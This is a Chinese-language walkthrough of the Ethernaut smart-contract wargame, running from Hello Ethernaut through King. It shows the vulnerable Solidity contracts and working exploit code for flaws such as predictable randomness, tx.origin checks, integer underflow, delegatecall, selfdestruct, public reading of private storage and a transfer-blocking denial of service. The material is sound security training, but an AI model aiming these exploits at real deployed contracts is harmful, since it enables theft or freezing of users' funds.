打靶场的记录
Hello Ethernaut
连接小狐狸后按照提示做即可
然后提交示例(作者好有意思啊
过关后还能得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Instance { string public password; uint8 public infoNum = 42; string public theMethodName = 'The method name is method7123949.'; bool private cleared = false; // constructor constructor(string memory _password) { password = _password; } function info() public pure returns (string memory) { return 'You will find what you need in info1().'; } function info1() public pure returns (string memory) { return 'Try info2(), but with "hello" as a parameter.'; } function info2(string memory param) public pure returns (string memory) { if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) { return 'The property infoNum holds the number of the next info method to call.'; } return 'Wrong parameter.'; } function info42() public pure returns (string memory) { return 'theMethodName is the name of the next method.'; } function method7123949() public pure returns (string memory) { return 'If you know the password, submit it to authenticate().'; } function authenticate(string memory passkey) public { if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { cleared = true; } } function getCleared() public view returns (bool) { return cleared; } }
Fallback
合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
目标:
可以看到在withdraw函数可以直接转走合约地址的余额,但是要首先成为owner;同时,有两个地方可以成为owner:
contribute,但限定了每次传入的数据,要满足条件的话需要执行10^6次
receive,这是一个特殊的函数,当向合约发送数据时会被自动调用。而且条件只需要让传入的数据和数组里的值大于0即可。同时,官方文档是这么描述receive的:
那么我们需要执行的操作就是,先调用contribute使得contributions[msg.sender]>0,然后再向合约发送wei,再调用withdraw转走合约余额。
注意,我们向合约发送的单位是wei,而题中的单位为ether:
修改owner:
可以看到owner已经被修改,然后即可通关。
Fallout
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
要求是成为owner。
这关更简单了,直接调用Fal1out就行了。
原来背景是有一家公司改了合约名但是没改构造函数的名字,损失++
Coin Flip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
目标:猜对硬币10次
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.8.0; interface CoinFlip{ function flip(bool _guess) external returns(bool); } contract attack{ uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; CoinFlip interact; constructor(address _address){ interact = CoinFlip(_address); } function guess() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool _guess = coinFlip == 1 ? true : false; interact.flip(_guess); } }
交互10次即可。
背景指出在区块链上生成随机数是很难的,建议用Chainlink
VRF 之类的
Telephone
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
目标是要成为合约的owner,让tx.origin != msg.sender成立。
二者的区别:
tx.origin会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
msg.sender为直接调用智能合约功能的帐户或智能合约的地址
简单的说,只要写一个合约去调用changeOwner函数,那么msg.sender就会是合约地址,而tx.origin仍然是我的账户的地址,就可以满足判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pragma solidity ^0.8.0; interface Telephone{ function changeOwner(address _owner) external; } contract attack{ Telephone tele; constructor(address _address){ tele = Telephone(_address); } function atta() public{ tele.changeOwner(msg.sender); } }
做完后题目还给了个攻击案例:
Token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
下溢的洞,直接转账就行。
Delegation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
考察的是delegationcall
call: 调用后内置变量 msg
的值会修改为调用者 ,执行环境为被调用者的运行环境
delegatecall: 调用后内置变量 msg
的值不会修改为调用者 ,但执行环境为调用者的运行环境 (相当于复制被调用者的代码到调用者合约)
callcode: 调用后内置变量 msg
的值会修改为调用者,但执行环境为调用者的运行环境
由于执行环境是调用者(Delegation)的环境,所以pwn()调用后,修改的是Delegation的owner=msg.sender,又因为不会改msg.sender,所以Delegation的owner变成了我们的账户地址。
参数可以本地算:
1 2 3 4 5 6 7 8 pragma solidity ^0.8.0; contract test{ function func() public view returns (bytes4){ return bytes4(keccak256("pwn()")); } } #0xdd365b8b
也可以在js里算web3.utils.keccak256("pwn()").slice(0, 10)
:
为什么是slice前十个:
为什么要写web3.utils.keccak256()?这里面有两个问题,第一,写keccak()必须要加上前面的web3.utils,才能引入keccak()方法。第二,keccak()是一种被选定为SHA-3标准的单向散列函数算法,大概是一个海绵体结构,有吸入和挤出阶段。
为什么用slice(0,10)?以下补充一些solidity的函数选择器知识。
函数选择器知识补充:
一个函数调用数据的前 4 字节 ,指定了要调用的函数。
这就是某个函数签名的 Keccak 哈希的前 4 字节(高位在左的大端序)。
(但是传入的数据仍然需要前10个才能被正确解析)
后记: The
Parity Wallet Hack Explained 介绍了一个攻击案例
Force
1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
目标是强行向合约转账,考点为selfdestruct:
selfdestruct函数是一个自毁函数,当调用它时,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数
exp:
1 2 3 4 5 6 7 8 9 10 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract test{ constructor() payable{ } function attack(address payable _addr) public{ selfdestruct(_addr); } }
后记:
Vault
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
目标是把locked设为false,那么需要得到password
尽管password设为private,但这只是限制外部合约访问这个变量,数据保存在区块链上是透明的,可以直接用getStorageAt函数获取:
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
把数据放进remix里就能直接解析出来
后记:
King
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } }
目标是发送大于1000000000000000的wei成为king,而且不能让目标合约替代自己成为king
考察的是transfer函数:
如果transfer执行失败会进行回退,而call和send函数则不是,而是返回一个false
用 remix 部署合约,只需要构造一个没有 payable
的回退函数或者压根没有fallback函数,就接收不到金额了
exp:
1 2 3 4 5 6 7 8 9 pragma solidity ^0.4.18; contract attack{ function attack(address _addr) public payable{ _addr.call.gas(10000000).value(msg.value)(); } function () public { revert(); } }
后记:
Most of Ethernaut's levels try to expose (in an oversimplified form
of course) something that actually happened — a real hack or a real
bug.
In this case, see: King
of the Ether and King of the Ether
Postmortem .
Re-entrancy